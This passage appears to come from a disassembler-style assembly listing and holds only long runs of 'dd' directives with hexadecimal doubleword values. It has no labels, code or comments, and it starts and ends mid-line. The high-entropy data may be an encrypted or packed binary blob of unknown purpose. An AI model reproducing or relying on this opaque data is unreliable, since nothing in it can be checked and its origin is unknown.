0A2D8BFB8h, 80EAD01Ch, 0C3CFDA9Ch, 0E10AAB79h dd 0F27B8860h, 0E95BC267h, 34E5586Dh, 0AA77554Dh, 57EFF480h dd 0FB0C7CFAh, 0CBB3B440h, 0ADBE5987h, 7DB12310h, 1BDDF207h dd 0CFB44914h, 5A66A2D1h, 0AB38FB2Bh, 2C7425E9h, 0C6CFBF79h dd 0B42C30Bh, 0B951C229h, 0D1F3A9D7h, 7911A853h, 0C799D6Fh dd 0E6792889h, 686A9F85h, 0F693CF40h, 0C5FEDD02h, 54D0A1E9h dd 48686259h, 6B8981FCh, 8D5890ACh, 0DD8082BCh, 1D617318h dd 2C85895h, 0E94303E3h, 0D15FE8FCh, 0E190979Ah, 0B4306C01h dd 38237280h, 0E4715F1Eh, 9F3C196Ah, 6072DCD7h, 35485885h dd 0AC0112E2h, 0FC43130Fh, 0F11CB1C6h, 79326800h, 518E5199h dd 0DED7A957h, 0CD2D3D44h, 9FA1965Dh, 2A05F900h, 763DB768h dd 875E9256h, 7907BF21h, 0B79252Fh, 63DCAA25h, 5055EB1Dh dd 41E908EAh, 5868048Dh, 0C0BEE805h, 32A12F49h, 20BA3F52h dd 21676D00h, 0C147E9D1h, 0F592CCBFh, 882AA5F5h, 8B955374h dd 45C75DF5h, 0F59A5289h, 5DEE35B8h, 0DE28E9BBh, 0DC72D20Ch dd 3EB0C4Dh, 0E91FD759h, 0B7121AB4h, 3E352ADBh, 0E8180CA9h dd 1869215Ah, 0CB08BBB3h dd 42F02FECh, 66CCED4h, 0A0408C25h, 2CC902B0h, 0CE013876h dd 271C4FFh, 47DCBE56h, 64D7604Bh, 0F2594EE0h, 0C26880B2h dd 5F370662h, 0E42BE55Ah, 792470D0h, 4F018827h, 9469415h dd 3D1C9C05h, 52E404E9h, 0CB6162C4h, 0F5091363h, 60AC0D49h dd 21F3B50Eh, 0B911707Ch, 10698209h, 0AB35A80Ah, 191EAA20h dd 4080AC71h, 522FA735h, 0D2DBA11Ah, 711D417Ah, 6B15415Dh dd 0D868CAC0h, 646A946Ch, 0AC8CFA01h, 0C6F60281h, 217AD077h dd 0D6268D67h, 0D2F7FF00h, 9333C768h, 0F3B4022Eh, 87DCCF9Fh dd 28A35308h, 61FB251Dh, 0E8FDED66h, 77929D12h, 1B338E09h dd 0D2CC601Fh, 79828A5Ah, 14594642h, 0EA610513h, 0F7027DF4h dd 0BDD38109h, 0B13F4BA3h, 3F37A6Fh, 574805C0h, 5F02C568h dd 50E9FA99h, 5659D5D3h, 0A2442997h, 0BA0089C9h, 52E04815h dd 85E8094Fh, 4D6ECF00h, 0E9556DE5h, 718ADE25h, 650602C5h dd 0DF72EB3h, 0BD010646h, 8C3E5AEFh, 232E77DAh, 0E0505433h dd 81559975h, 84C899B8h, 44FE2BDEh, 0B135E90Dh, 429DFDE2h dd 0DF426389h, 0F231FA23h, 2A1972B9h, 597D2A9Dh, 0EA5EF385h dd 7868142Ch, 8866B710h, 42280BF2h, 6A20DA62h, 81B02748h dd 0F19D80D5h, 0EAE72C5Ah, 44D9A1C8h, 0EAD5D37Bh, 0DE056180h dd 0FCD70125h, 0AE064516h, 79C81E45h, 60BC3653h, 29519204h dd 9234AB7Eh, 217DED02h, 631460A6h, 6941C4BFh, 0E0B3CD52h dd 0B2027207h, 0E5C15D13h, 88167708h, 3AC8C54Fh, 5FDF10EDh dd 64C95A51h, 73948683h, 0E2E07A80h, 9936216Eh, 0E5E29353h dd 47238188h, 0A4597B3Dh, 0AE95B8Fh, 0F080E84Eh, 9F33D9E9h dd 25532CD9h, 4046BD64h, 107C6F34h, 5ABAFCAFh, 210B2DBEh dd 0E5BC3BE7h, 0DF0BC1CBh, 571DF7F6h, 1F25AB88h, 52908235h dd 68C7296Eh, 5544EB24h, 13344DD5h, 43136C88h, 21BB4F02h dd 74E730h, 0E5F5B57h, 0FB31D7F7h, 6E08DF4Dh, 0E5608EC0h dd 8574952Eh, 955BE9D0h, 1C7CB209h, 0A2F9F750h, 0AF1D5CF9h dd 0B6921814h, 0CD91E82Ah, 622EDE77h, 0FA9CBB64h, 665AD180h dd 0BDBFB25Bh, 0F205B8F0h, 0C705E967h, 9EF930ABh, 647D3343h dd 0F7A4E227h, 0AB9D4E9Eh, 0BF0732Eh, 807742ABh, 5EEDE945h dd 14634C6Dh, 97757E1Eh, 683B022Ch, 106C7BA1h, 3A2C0174h dd 4B002E62h, 0E9086C33h, 665495C2h, 0E19B4850h, 50B55311h dd 11685124h, 26A85212h, 6A045A80h, 206F98ADh, 0B900E5F7h dd 1E675411h, 26508FBAh, 30E2434Dh, 668AC230h, 0E86ABF24h dd 45CD900h, 4DCEE915h, 7B028DFCh, 522C833Fh, 28ADCFE1h dd 3CFF4FDAh, 0AA6716FBh, 0A373D9A1h, 0C3D1024Dh, 14AB1AF8h dd 5528D9FCh, 4EED1732h, 62F1D45Dh, 7509A149h, 9A3D1551h dd 78590A74h, 0F5554F29h, 0B2B53FC7h, 247ED7Eh, 385146BDh dd 90B6584Ah, 99C6306Eh, 65B5C1BBh, 168C20Ah, 8209AD9h dd 0DF245B76h, 9492FFC4h, 0B6C0D2FCh, 3E6C0DBh, 0F60CD073h dd 8C6FEDEh, 0FCB32E53h, 97A51FD2h, 4EDC07E3h, 0E2A08BC0h dd 52D3F6FFh, 0AD84B228h, 5B567F60h, 7959C831h, 1C512435h dd 0EABD084Ch, 0EA015C12h, 19A36806h, 14AA133h, 39792D40h dd 41443622h, 87F031F8h, 0D6F7962Ch, 2CEB4834h, 7105A1B3h dd 56E91BA4h, 723129E0h, 8C760F8h, 0CA066805h, 0C4254702h dd 0DF361C3Fh, 0D24092C2h, 0D3072430h, 0F6E58129h, 0C1475F62h dd 0BE01018Fh, 2D1DD4A4h, 514E80C5h, 0C35BBC0Ch, 79FE09BAh dd 9FFE48EDh, 0FEBF2E09h, 57D545A6h, 0C40610BBh, 8930AB2Eh dd 44DDCB31h, 17FB4B11h, 31CBE80h, 681CA228h, 572D769Dh dd 0B205F81Eh, 10B56840h, 5D51A732h, 5C6B0BDCh, 30F1ADDCh dd 0ADEEE9E1h, 75ADDE54h, 0D9074125h, 1F5F500Dh, 0E10B0551h dd 0D7E86F13h, 0BEC5CA60h, 49DC3A13h, 0D01EC12h, 45374DC7h dd 2F4E7F8h, 0E9617C78h, 0F2C4DF80h, 0D187A181h, 1E0DA81h dd 0CBB8495Ah, 9DC83EC1h, 0A83B9973h, 78EB032Ch, 50B3275h dd 2B301B0Ch, 0BBAC140Ah, 9F550840h, 0BB8F5DD6h, 4B834193h dd 0BA497BFh, 15B09DEh, 0C1E85155h, 3512DDE9h, 0F5B97E43h dd 0A47BF140h, 5FFE36B5h, 0C399A6BAh, 2F6CD82Dh, 4D5BE0FCh dd 0A5344708h, 0F39F02FFh, 8E2D00FAh, 37AFB21h, 0F9ACCC4Bh dd 0F013B991h, 0DE3AE9F2h, 209745CBh, 468CB6Ah, 2CC69F62h dd 95A3D24Fh, 354ABB03h, 0EF63E6h, 5E69A07Ah, 0FD8220B0h dd 9F09B45Dh, 0E9242CC6h, 54899F5Eh, 6ABCFF5Bh, 0D195689Ah dd 85E84949h, 2980AD5Ch, 8859B544h, 0A467F82h, 0DD08892Ch dd 0C66A2CA9h, 0CBFE9A02h, 0B54838D2h, 0F3407723h, 0C6F6B75Eh dd 0B5D1DF5Ah, 2CCF6088h, 38A80390h, 0BBD96F48h, 5F283E0Eh dd 20C55EC0h, 29223583h, 0FF2FB027h, 0B16840A7h, 0BE67811Ch dd 8CD89A79h, 828ED4DDh, 30F30EA0h, 86B287Dh, 37685302h dd 1798F532h, 3905630Bh, 0D78EE951h, 0A1C10A96h, 276F343Bh dd 0C40F8248h, 930735Fh, 0C48473B3h, 48CFC007h, 0A4B7FE9h dd 0B36CEA8Dh, 0DB67E9F0h, 0D66D5C4h, 0AA87E2B4h, 0C9D5208Ch dd 9D46796Eh, 0DA90E9FAh, 0C3975265h, 31F489EAh, 26AC0103h dd 5D9E29F5h, 37AA5A47h, 875DC446h, 0BF6114D5h, 65B56D77h dd 5BB6D5D1h, 897ED29Eh, 4BDD7CAFh, 7A6BC147h, 8D8E6Bh dd 6C9FDCB9h, 0BECA29BAh, 512D585Ah, 3D662C05h, 2DAFD001h dd 0E9100145h, 4CC47ACDh, 0B19FF3AFh, 0CA3EC329h, 13B85E88h dd 401A2F7Ah, 0B38CB8D8h, 254AC13Fh, 71861470h, 0CE1E5468h dd 578EA8CFh, 79B80050h, 0BF41CE65h, 0B22558ABh, 4966F63Bh dd 9B82F77h, 0B863DCBBh, 8AF68027h, 0D5E4172h, 0AEF29181h dd 6F76F710h, 0ED029CA8h, 47923F97h, 88DA8DDh, 23D01C37h dd 775F059Ch, 0A3FE9F83h, 2B80207Bh, 573C1BDh, 48AA98F8h dd 200499B0h, 0E867D822h, 5D4078ADh, 2C850BBBh, 8D421AE3h dd 99682062h, 25627768h, 0DF2133BDh, 0F7D1B933h, 86A72A82h dd 14EABB03h, 0DAC27303h, 5F079655h, 0CC2AB1EAh, 559779E9h dd 0D1C24A93h, 0D00F5456h, 0FEA602E0h, 0B4057C0h, 6D928683h dd 38FDD50h, 3B133A09h, 4B15705Bh, 10F2B871h, 0FC4F8B54h dd 0C248736Bh, 29FD0492h, 8BEE0E0Dh, 2E504B7h, 0C0EF5AA6h dd 77FF684Bh, 902574BBh, 4A0EB03h, 290D0F31h, 13F684F3h dd 4A4BF308h, 168A2BF0h, 45077071h, 8410D0ABh, 0F982EFE4h dd 0D5C5FD4Ch, 0B6AD5516h, 0F1658Dh, 0B3056DDCh, 0CE012513h dd 6B087510h, 95A3F20Ch, 0B80B66D3h, 4425DE7Ah, 8607EFDBh dd 0C655E034h, 0C6283522h, 3FE91357h, 657CA59Bh, 45F07E4Dh dd 20350092h, 7D25480Bh, 34009B0Fh, 8D496B05h, 13632D58h dd 40CB428h, 0AF0E7639h, 5F488272h, 192D31C0h, 0D0A89617h dd 5181D085h, 0FCE2215Eh, 0F838C4BDh, 0C77F503Fh, 0D6B8CA09h dd 114D158h, 4D9F11D0h, 5835DD68h, 720B4AD7h, 5C09786Ch dd 8AA53D41h, 0B42ED77h, 8256DA7h, 2750BC31h, 0F39E48Dh dd 40685552h, 0F22AD4C7h, 45683E4h, 0B97A288h, 0A18FDFF7h dd 3C9095E6h, 420B4198h, 21378676h, 0EFB687EAh, 8EC1A421h dd 0E2F47C7Ch, 512710AEh, 0ED6EE90Bh, 75F0E564h, 3D4F94Ah dd 1905DEAh, 3B5EAE68h, 789C340Fh, 233D6A03h, 12F02FE9h dd 0E3F88830h, 76593F5Bh, 0B934A05Eh, 1257870Ch, 0D69E02BDh dd 0EF296E64h, 0A77C71D7h, 80247E51h, 0FCBFDC20h, 0A3A2D0C6h dd 5DADC29Eh, 8B77479Eh dd 70FB5C97h, 625BDD68h, 5BEDFB8Ch, 0C9B5A892h, 3F1A59FBh dd 0D2769A92h, 41F5EF7Eh, 313B2CC0h, 56F70EFh, 78177C81h dd 0A35D0605h, 0EE7D298Bh, 33966F2Ah, 0F0F1F725h, 0CF909E36h dd 0F09B1272h, 0B63C52A4h, 73D91BE0h, 6C78E954h, 0C0980AB1h dd 90EE04BAh, 0F0756D62h, 95686B0Bh, 12B6660Ah, 0EC7220CEh dd 61190FAEh, 7CC999Fh, 307F1280h, 0FB2946D1h, 18585F25h dd 37C0090Eh, 0D08159E9h, 6FC1205Fh, 813B03E6h, 5883DF77h dd 616BE7Ch, 104A3ED7h, 0EDF90E83h, 7437EC47h, 10692548h dd 0BD027AD7h, 0B9043FE4h, 0AB800F55h, 0BB4C5C47h, 0B4A4AC13h dd 0A00FE653h, 850D2B5Fh, 8C5D7385h, 0F69C9E89h, 658FEB57h dd 40E127C6h, 4DB75300h, 0FE04E7C0h, 72F9FBC7h, 71E5264h dd 21626C13h, 4F01C6DEh, 0F5738076h, 12DFC93Bh, 1CBBD8C1h dd 0EEF3143Dh, 1177AF2Dh, 0F7D621AFh, 0C799C324h, 0EB28938Dh dd 0ABB895EFh, 0B82A86C9h, 0E950C1A8h, 656FB7DEh, 0EBD9EBFEh dd 213BE60h, 0E97C4A29h, 96CA936Dh, 75200257h, 0C8EA096Bh dd 0F649E279h, 0F7AF71F6h, 0F3B3241Ch, 0D1BFDE16h, 2883A710h dd 3CA8A1ACh, 5C3B612Fh, 0AFC155Eh, 0FC9CE985h, 97B25BA6h dd 50B84Bh, 16FA198Fh, 256CEDB8h, 50F35C1h, 9930754Bh dd 5E72FFE2h, 84DB7B95h, 600D7AE9h, 27CDB9h, 0B4BF3423h dd 0E920A1C7h, 26B2B534h, 0DC9AA381h, 5480BA14h, 0BCA8104h dd 79AB5118h, 0B1259580h, 29096702h, 5860E9D7h, 59BB0576h dd 0BE108422h, 21BC73C0h, 0F0265E23h, 8B17BA11h, 96A8743Bh dd 0DD241675h, 4550BA2Fh, 0BA285A08h, 7F9B09BBh, 55D5D1Bh dd 0D802294Ch, 997C2E9h, 81B18057h, 256B6DE2h, 1477392Ch dd 629E09FEh, 22F74715h, 0B7D6B30h, 5813EA54h, 9B7B7F87h dd 53EF9451h, 879B626Bh, 5EAE57Fh, 44423C68h, 0B86FF8h dd 5D49360Dh, 0C205000Bh, 2D0A1640h, 0F3259DF5h, 4907F155h dd 0B5441475h, 51AF9474h, 9BCACB6h, 0F76E1EA5h, 8552079Eh dd 82350C35h, 2C6DE4AAh, 8ABEEFD3h, 68560625h, 27CF2E1Bh dd 0A4F65D67h, 619BC25Ah, 0B10416AEh, 0E7E168E0h, 0FE16EEB4h dd 25CBE60Fh, 0F2EECC2Eh, 870616D1h, 0E580A734h, 0AE4A69h dd 0F6814E43h, 5D781676h, 3F16CEECh, 2306AA17h, 91E05EEh dd 37E79BDEh, 3E2822D5h, 0E919DF61h, 0A29BFE78h, 13D0DBC2h dd 9F35C97h, 25486971h, 513063DCh, 28880C7Fh, 0F22E5A98h dd 842ACEF0h, 31C03745h, 501A524Fh, 32BE15Ch, 0E97E2C7Fh dd 5648D1D3h, 0AA4075CBh, 4B219456h, 0E881EF69h, 0C70F67B3h dd 0AD9290Ch, 542D08C1h, 321BC253h, 0EF510B7Eh, 61444F35h dd 0C56FC2E1h, 0BC5F030Ch, 0E2D7AC8Fh, 947F6723h, 7FF82049h dd 502C62B7h, 65B24CB0h, 2A7A1C10h, 882017BAh, 685B0C97h dd 0CA172308h, 89EAB241h, 0ED1E8215h, 0EFABC4A9h, 53B9A5FAh dd 8F3A00B2h, 4A59F34Fh, 4F31D490h, 9899B8CFh, 14DC4915h dd 16E4A684h, 444F2FFCh, 39E2BD2h, 99BDEE81h, 0D16F1D48h dd 7B793F75h, 0C9FF7E2h, 0CFA1F5B8h, 8F88E7B8h, 2D48A468h dd 0BA52C08Ch, 4E7B398Ch, 349FE173h, 0C095458Eh, 38E95770h dd 0A95E8FBAh, 562D465h, 1CF632C5h, 1C44B40Eh, 0D03EDD2Dh dd 8B057631h, 303B4613h, 9D192292h, 5245C7Dh, 0B3C0C90Ah dd 2E239958h, 0A76636E9h, 1288FB5Eh, 5EE02D93h, 38C5A97Dh dd 99FB875Fh, 0E23331A6h, 0F7EB4C83h, 765DEAEAh, 8C31441h dd 0B7E06B50h, 82404654h, 0A2489B59h, 10E8F708h, 299B585Ah dd 6802128Ah, 0C14B0140h, 0B5D4FB07h, 0CBF8503Eh, 0A3219278h dd 8037E9ACh, 0E87BE061h, 526A005Ch, 4AE954C1h, 8B1694BCh dd 8BD4A67Ch, 0ECA0FFE9h, 0CC89C2F2h, 11B8A850h, 35465212h dd 5AE50CBFh, 0A1EC4139h, 0B80CA267h, 0F1C913EEh, 916EA3F4h dd 0D0AD4285h, 13A04C46h, 9A0D3CF4h, 0BF8B92Bh, 1DF55254h dd 3A6C1331h, 4471BFB4h, 0A464DE71h, 0BCBF135Ch, 242B07F8h dd 291C8275h, 882B370h, 0D64BE459h, 0F829005Ah, 5856E02Dh dd 0CA884F5Bh, 4D20FD54h, 4023121Eh, 0F748AF43h, 0C4A0102h dd 0E4D10B61h, 9F55E9h, 78292D0Bh, 567A65CEh, 0BE071605h dd 8CE96A30h, 357C9FADh, 90CBE652h, 89E8AAFCh, 0CFC85C32h dd 5A5803CBh, 0DAB74FB0h, 89579796h, 1D5977E3h, 0DF21C252h dd 25E9B868h, 0E3D0EC5Ah, 5865E0C3h, 0BF27FA10h, 725A5241h dd 0C231D011h, 7980ECE9h, 0B45D8C83h, 9D09EABFh, 0A4C21h dd 7EF8B84Bh, 2FE91CC0h, 39752547h, 122151D5h, 0D453715h dd 5FAD59CEh, 7977AD4Fh, 0E54A4C90h, 2C4C8BEh, 0D627969Ch dd 16666F84h, 527B1666h, 0F4284B1Eh, 14E6E48Ch, 0BF32680h dd 349F16CEh, 596404ACh, 0AFC9AF55h, 40F08130h, 0B84F5065h dd 0FC5F7EF9h, 0A4A42AEFh, 0CBD1F724h, 0EC0CC101h, 0CC6C2961h dd 0E4971E17h, 0F219807Dh, 0AF9EE03Ah, 2AE59D2Ah, 0E90E38BAh dd 0FE6E3329h, 0E652DE04h, 3AC14987h, 806BEE1Dh, 0F24E600Eh dd 19E12BF1h, 5340FA2Eh, 0B013D5BBh, 0B415F848h, 0CB2109F9h dd 6E3909C0h, 7672D930h, 61FD7601h, 72F0C6Dh, 0EEBF60E6h dd 5AF948F9h, 9567415Ch, 598F134Bh, 3C2787E3h, 0CD054C8Fh dd 0C1DEC45h, 0BCF8C271h, 0B36C0FCFh, 59EC2113h, 480C8D8h dd 505A0368h, 52A4B151h, 36A1EAE9h, 0B888203h, 5A857E59h dd 736502C1h, 2CD21566h, 0C30F22E1h, 4D69F330h, 0C75559Bh dd 19036303h, 847F91E9h, 8624E7AEh, 70179903h, 0CE520FC3h dd 497F3315h, 0FF33411h, 0C3103126h, 204F3C72h, 0B3DA192Fh dd 509A5A72h, 8068510Ch, 959C3379h, 0C5FE6380h, 6F75B753h dd 0D7F6C718h, 3CE7C008h, 99978003h, 0CB42EFE9h, 5F12E8C1h dd 87CBD4DCh, 0E274527Eh, 860C9175h, 0DFDD3E7Ch, 0EF06D16Ah dd 0BF6801B3h, 0E7A7CCEAh, 6A048463h, 15660Eh, 10536855h dd 80174EFCh, 32245F44h, 0CBF73926h, 7201CD16h, 60E978B3h dd 39888A24h, 1DDC58C2h, 5166E95Eh, 0D0FEE9FBh, 5360B6E9h dd 974EE6Dh, 0C7545062h, 753D19A1h, 0E891180Dh, 0E916182Fh dd 80E66696h, 49B06812h, 1472C7ADh, 9589591h, 6BE925FDh dd 607F2442h, 2E238FFDh, 3C8E7630h, 58FE00CAh, 0D368F301h dd 0BD8195Eh, 326A2504h, 5F133FDh, 7E9550Dh, 9F6C0109h dd 6C2A521Bh, 8C62893h, 0FEE3594Bh, 40038A50h, 0D6A45E7Bh dd 95DD60BFh, 0EEF1973Ah, 41024224h, 804C8B14h, 580704BBh dd 0F5872C7Ch, 24D42068h, 8E375C34h, 0AE16174Bh, 0F50039D9h dd 0E35E5B56h, 0D646F3F4h, 81BABC06h, 8048C527h, 7A3CCE28h dd 61D54B25h, 5F7A615Bh, 6E488BC0h, 4BEA445Dh, 12291F84h dd 5860BA63h, 5B3C6833h, 92A8B02Ch, 0EF99E9B5h, 59C9D27Fh dd 0CCDF2175h, 5E3444Eh, 734320EAh, 4612BF60h, 0CDFA3EEh dd 0AA654E9h, 8B09B75Bh, 0DD90A8FDh, 0E987FB1Eh, 0FF0B5E53h dd 0E324236Fh, 99A28F13h, 0A8606813h, 0CB84A8Eh, 0B35468B8h dd 9024E98Ch, 0FA40A02Fh, 0A8FD5962h, 9616559Eh, 0ABA967CCh dd 71EA6C8h, 0DAF62172h, 0D34C114Ah, 0B05B8785h, 0BD7940E9h dd 9EB72312h, 3361A005h, 2A16CECAh, 10FDB375h, 0BA4E6246h dd 0D7C7B461h, 0D704BE04h, 0B1267CCh, 82DD633Dh, 7EE80A54h dd 0FA68582Ch, 226F5466h, 3B66480Bh, 0B8D61127h, 3EC13C20h dd 4308E3C1h, 617CFDE5h, 0E52C453Dh, 96873971h, 0FE7D821Ah dd 31828133h, 9EDAC9D3h dd 0D0BB4A08h, 2F3091A5h, 0C8F334D8h, 656E3001h, 16C56B18h dd 6F88184Fh, 0D726498Ah, 0EF4A3F81h, 0A740E27Ah, 4D12392Dh dd 0A4AE3388h, 0F21D81DAh, 65B97F7Dh, 0E8887E88h, 0DE1C09D3h dd 0AF765A3Bh, 8B3251CBh, 491AB74Ah, 0C6422176h, 625A0761h dd 997C35A7h, 1FEDEB50h, 3A48DD60h, 933E5C9Eh, 15AD013Ch dd 8250A626h, 5A17080Ch, 14315421h, 0C6808EDh, 3D332C14h dd 29D07409h, 1AAF875h, 35D6BB53h, 6B2156EAh, 4A0021FCh dd 500D6B7Eh, 0AA706FE9h, 4925F9BDh, 0C1DC24FFh, 455082F8h dd 91725D90h, 4BD6387Ch, 24A4B570h, 0B3FD81EAh, 0F8AFF834h dd 16C46E9Dh, 0E3131E68h, 0D08827C6h, 0D1DB9741h, 0A456C849h dd 2950CBACh, 0DE2D0D5Eh, 0CE5D980Dh, 57289FDCh, 0DA029439h dd 116F146h, 2F0808FDh, 71EC9A5Fh, 5504065h, 8BBF2774h dd 0A9A37D0Bh, 88F2AAFBh, 2F9E7BDFh, 55411EDFh, 0B26FA701h dd 7E9DD2EEh, 5CC9D8h, 5208D76Bh, 0E3C2A5BAh, 0EDE9F712h dd 0C505FFADh, 1E956077h, 699DC2DCh, 0C9601942h, 2376786Dh dd 1484295Bh, 2D5D0800h, 90B1307Ah, 33B327DFh, 0D5C44A7Ch dd 592EA3A8h, 0F7030728h, 7570B3D8h, 76C77327h, 5A35B2BEh dd 0D952697Eh, 0BDE98494h, 8B56E891h, 3827855Dh, 0D7C669A8h dd 444A2D50h, 4260E313h, 0C626A068h, 3B3BD521h, 0A271E277h dd 52083E91h, 2D725F5h, 40AFF78Bh, 0A48903CEh, 0EBE92CCFh dd 14F7AD75h, 5701E792h, 0C342E87h, 405EE3FFh, 0CB9443BEh dd 38A10C65h, 0BB71856Ah, 0AB1C8480h, 0FE5FD4Fh, 7E321C99h dd 99859D30h, 0F45B5FA0h, 2F4E5A01h, 0FBD29EBDh, 0FE5E84F3h dd 0F306EA52h, 5189FD1h, 525E2CACh, 0BEA9C553h, 12AFBFC4h dd 3E3CB06Ch, 98C7F444h, 0FB56B59h, 98AE0140h, 1297BD80h dd 730510Eh, 0DF78E528h, 2AA1F813h, 0F995DE47h, 0F3CD50ECh dd 7502D7B1h, 0C171907Eh, 68008FBEh, 0EF9349C7h, 30678B0Ch dd 590BEC57h, 0BF0E1065h, 9873EC2h, 995F77FBh, 8828182h dd 67D53962h, 7818AFD8h, 270BB866h, 0A1AAE90Bh, 0C1315802h dd 9F3DE4E0h, 3E596418h, 16093580h, 587A8C1Dh, 64FD725Dh dd 16B390Bh, 83188CBh, 2E10BD26h, 5168AD05h, 123987Eh dd 1EF36405h, 0B5BB2FE9h, 0A9D1F6E7h, 0E8A1AA0Bh, 6E761CBAh dd 0A202F4CDh, 9E80DB5Bh, 9AF064Fh, 7384B5A0h, 13C1113h dd 68086C50h, 5D0A141Ch, 68C08155h, 5EE074BCh, 9688E076h dd 0F9AE2617h, 9DE27314h, 31365B81h, 50EC5E40h, 21D60068h dd 0BB585C04h, 0FB05DE2Ch, 0D9C0E9A3h, 0AD7ACCEAh, 0F0841C70h dd 432D031Fh, 0C3B0E92Fh, 5AC15D07h, 643FD136h, 67BF8229h dd 0AE02A490h, 0CCA6F412h, 0C4E257Ch, 0A860B494h, 39AEB90Dh dd 816E084Fh, 0CFA0AAF1h, 67E9590Bh, 224DDFF7h, 0F531BC09h dd 0F0C68D39h, 5FC119C2h, 71830BBEh, 965B5900h, 0CA897B12h dd 993CF80Ch, 1D3B03EEh, 0DE292B1Ah, 6A08A841h, 5012019Fh dd 0DC4DF5FAh, 2097EC2Dh, 0B78AD83h, 3CCAD445h, 19590840h dd 417B6268h, 20006BB8h, 0B75331B1h, 7F70B525h, 80C7FE16h dd 0F9304404h, 6E298E89h, 5CA6FED2h, 82D8E84Ah, 64982BE9h dd 211F0FD9h, 196635C9h, 0BF071689h, 4A766520h, 0E2FEE1A5h dd 7A850DDh, 552F6812h, 5ED60961h, 0E05A9C63h, 5A001D5Ch dd 62BA39E8h, 6971388h, 7FE9FA29h, 562D52AEh, 821B5F5Ah dd 3BAA0AF1h, 0BC9786F3h, 0C8860686h, 208D1F6h, 0D72C6134h dd 64C6C530h, 29808EF0h, 0F4D6A2C6h, 0E90CB5C1h, 0D9582DCDh dd 58D1EC54h, 43B39EA0h, 0E476624h, 756FBA05h, 7B6570C1h dd 0BF05A722h, 0AC47BC57h, 8C128A5h, 5BA25B4Ah, 0D19699C4h dd 583A418Ah, 1B13809Fh, 6AA21D5Ch, 0E8A25112h, 68449E09h dd 3AB3602Eh, 0FA2CBAD4h, 6D55A5E9h, 0C677253Ch, 0C4125FE9h dd 6D44BB3Ch, 5909C2ABh, 68E90375h, 48BEF46Dh, 66021668h dd 7115190Dh, 0BD09BD4Fh, 0DA804FD9h, 0E9DFAAEDh, 0A1C5584Bh dd 12A3DAEBh, 0C6A36646h, 2F5C7E1Ch, 1289B475h, 408D27E9h dd 0B351C550h, 0F87C3164h, 0C845D925h, 4A3A6FB9h, 807DBC52h dd 62E73450h, 0C1D17743h, 13732212h, 0A7406167h, 9F1378F3h dd 530B985Bh, 29BC227Ch, 9300F5D8h, 56B4E21h, 0E5320F3Dh dd 49E145C6h, 17FB3E8h, 0D135517Dh, 6E11CC40h, 4EF456F1h dd 6D30478h, 0AF366EE9h, 2E508E8Fh, 61DC41BFh, 0E7826EBEh dd 0BFF0BC0h, 0FD16550Ah, 0D9B78B77h, 5BA9C2BEh, 9F72C4DDh dd 0BE1013C2h, 0BE803D20h, 4C3C774Fh, 0A927096Eh, 80073820h dd 5A984134h, 0EDF4904Fh, 410A4150h, 314CB37h, 92F4E15Fh dd 0EE2FE962h, 60C6CE69h, 5B12C89Ch, 0F7BA2C8Bh, 0AFAD9226h dd 7B464571h, 5B167DA3h, 0C7EBA4CBh, 0DF0989B0h, 753B2614h dd 22B70394h, 75D9A8A4h, 9AAAF051h, 0E510F90Ch, 0A980F2Fh dd 2968E75Ah, 0A2C95A4h, 17BE5615h, 0E1674254h, 0A73E01E5h dd 5E0C4054h, 7C7E5B4Ch, 9F15A13h, 0F18035C4h, 17199BC0h dd 8726E986h, 1FFACA44h, 719FE07Bh, 922A5225h, 185DAF06h dd 0D4884487h, 0F15B1C28h, 0A5163E5Ah, 1E84808h, 7839DD2Dh dd 2CA3E96Fh, 0E70126DDh, 57AFE109h, 0A53D57F3h, 776F0B41h dd 35A42536h, 0D9F88E27h, 0FB08213h, 0E8D4351Dh, 89010634h dd 59A7011h, 0F68F0F3Eh, 7C060DA7h, 46122911h, 6AE6067h dd 527FCAA7h, 2C105D95h, 14D25A2Dh, 75218604h, 151CCA1Eh dd 2DF080FDh, 35FA3111h, 5BB79B98h, 0BBE94487h, 0C4EEBBD5h dd 0E5F5FE06h, 9D1184F4h, 34D69A1Ah, 0E3D8550Ch, 96DDEED3h dd 1A680E05h, 1FA7CC53h, 9209399h, 51264327h, 520142E3h dd 0C24F052h, 0D69FC63Fh, 265CFC9h, 5238EA4h, 68EB905Ah dd 9895317Dh, 25145711h, 0D8052A3Fh, 0DDAEF16Ah, 7B5860D1h dd 294AECF8h, 9D2060E1h, 0A9FC9DAEh, 925BDEE2h, 6A23F54Dh dd 2E015977h, 6C7C07BBh, 8720557Bh, 0DA0F02D3h, 0D6F7462Ah dd 3E84F240h, 9316D42Eh, 0AE741D03h, 47180166h, 0E9AFA48Ch dd 3D557BB1h, 27C05A1h, 8010B5Ch, 2E5F5992h, 0E334FC2Fh dd 0FD4EDDE9h, 0FC6C451h, 0F3015F03h, 87F5944Fh, 0FD70112Eh dd 0A128BB4Ah, 0E5D24BFEh, 49E07B33h, 82C17A5h, 8713EB19h dd 0D459C892h, 0E28100F7h, 1D9367E6h, 672E912h, 820FCCB9h dd 1376C934h, 0F00F050Ch, 400A1D05h, 538D612Eh, 3658E95Eh dd 4BEBB583h, 18E207D3h, 10754FF5h, 0C55D272Ch, 1E4C2541h dd 0F21B442Dh, 81D09D03h, 0DD124A5Fh, 3D853DF6h, 40CC8A4Bh dd 4F4A1286h, 195915A4h, 0F802DC6Eh, 290D8B55h, 61848CDAh dd 12EEE059h, 0FC8CC680h, 803325B8h, 685A5817h, 0A52C65CAh dd 50A3B0A9h, 7ABED1BDh, 7DF792D5h, 0A2C1431Ch, 5B1076BEh dd 546C2F8h, 0E9A4EF89h, 0C3DFA42Ah, 2D7B7697h, 0BE65CBC8h dd 5803A983h, 76C12781h, 0EC381640h, 16C1D31Ah, 1032685Ch dd 0F1C59B7Ch, 5D20FE7Ah, 5AA3FD1Fh, 0F20CC75Dh, 5BF57409h dd 0E24BE0Ch, 0BE21931Fh, 0C1F0F205h, 520275EBh, 6EF8E5C1h dd 0B1102DF9h, 0C65B2557h, 0D9F62EE1h, 0C9B003E4h, 0EB5C128h dd 8063B287h, 0EA9973F2h, 2C353020h, 47634984h, 0C11C0848h dd 94D52582h, 868159Fh, 0B734D978h, 1DA3E40Bh, 25343CBh dd 0C5FC5Dh, 0A0589C25h, 1480539h, 0FE5FEF6Dh, 6595DEE9h dd 0A9748866h, 523E02ECh, 0D733B70Ch, 2CBE1B2h, 0E9E0995Fh dd 81EAD0AFh, 93F73D42h dd 5597E210h, 0FDB018E4h, 9834440Eh, 1C40DE40h, 0E94A452Ch dd 959E9AABh, 0DF2E09FDh, 2D00D4EDh, 42E40A87h, 5D02829h dd 